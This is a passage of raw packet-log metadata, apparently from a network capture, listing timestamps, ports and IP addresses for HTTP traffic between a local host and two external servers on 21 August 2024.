Aug 21, 2024 08:32:15.147418022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147423983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147425890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147428989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147440910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147444963 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147447109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147480965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147773027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147778988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147790909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147795916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147803068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147809029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147819996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147825003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147830963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147835016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147852898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147865057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147893906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147944927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147974014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147980928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148015976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148075104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148082018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148092985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148097992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148103952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148128986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148147106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148237944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148243904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148255110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148261070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148294926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148318052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148367882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148374081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148380995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148411989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148442030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148447990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148459911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148464918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148471117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148509979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148577929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148583889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148616076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148616076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148708105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148745060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148751020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148758888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148771048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148777008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148787975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148793936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148796082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148821115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148838043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.148945093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148951054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148962021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148967028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148972988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148983002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148996115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.148998976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.149032116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.149211884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149224043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149231911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149238110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149244070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149250031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149255991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.149272919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.149292946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.150041103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150046110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150058985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150089979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.150118113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.150129080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150135994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150141001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150146961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150151968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.150166035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.150197983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.172059059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172106028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172128916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172132015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172189951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172209978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172216892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172226906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172261953 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172311068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172389984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172409058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172420025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172456980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172548056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172554016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172559977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172565937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172578096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172584057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172590017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172595978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172600031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172631025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172646046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172650099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172652006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172678947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172684908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172689915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172694921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172718048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172863960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172874928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172882080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172892094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172899008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172909975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172914982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.172930002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172930002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.172961950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.173130035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173135042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173160076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173187971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173198938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.173206091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173213005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173218966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173224926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.173228025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.173275948 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.173276901 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.174561024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174633980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174634933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.174640894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174657106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174666882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174679041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174685001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.174700022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.174736977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.176213026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176219940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176225901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176285028 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.176310062 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.176315069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176321983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176332951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176340103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176364899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.176393032 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.176979065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176985025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.176996946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177001953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177037954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177043915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177042961 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177063942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177069902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177088022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177088022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177114964 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177123070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177128077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177167892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177175045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177175999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177216053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177254915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177262068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177273989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177278996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.177310944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.177342892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183054924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183063030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183068991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183113098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183136940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183144093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183167934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183172941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183202982 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183255911 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183280945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183286905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183300018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183314085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183346987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183378935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183402061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183407068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183418989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183423996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183430910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183443069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183449984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183451891 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183499098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183499098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183520079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183528900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183537006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183562040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.183584929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.183610916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187021971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187028885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187047005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187062979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187076092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187081099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187083006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187088966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187119007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187135935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187196016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187206030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187212944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187225103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187237024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187242985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187247992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.187247992 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187297106 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.187297106 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.188261986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188268900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188280106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188321114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.188338995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188345909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188361883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188380003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.188396931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.188447952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.189861059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.189867020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.189879894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.189918995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.189955950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.190025091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.190037012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.190056086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.190063000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.190080881 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.190110922 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215256929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215280056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215286970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215301991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215313911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215322018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215351105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215405941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215455055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215461016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215472937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215478897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215485096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215517998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215549946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215579033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215585947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215598106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215639114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215764999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215771914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215789080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215796947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215809107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215814114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215821028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215825081 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215832949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215878010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215878963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.215928078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215991020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.215997934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216003895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216010094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216037989 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216073036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216130972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216178894 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216254950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216262102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216274023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216279030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216285944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216298103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216305017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216315985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216347933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216365099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216403961 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216411114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216423035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216429949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216435909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216443062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216448069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216466904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216517925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216603994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216612101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216623068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216629028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216634989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216646910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.216666937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216666937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216695070 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.216711998 CEST	80	49719	147.45.44.104	192.168.2.6
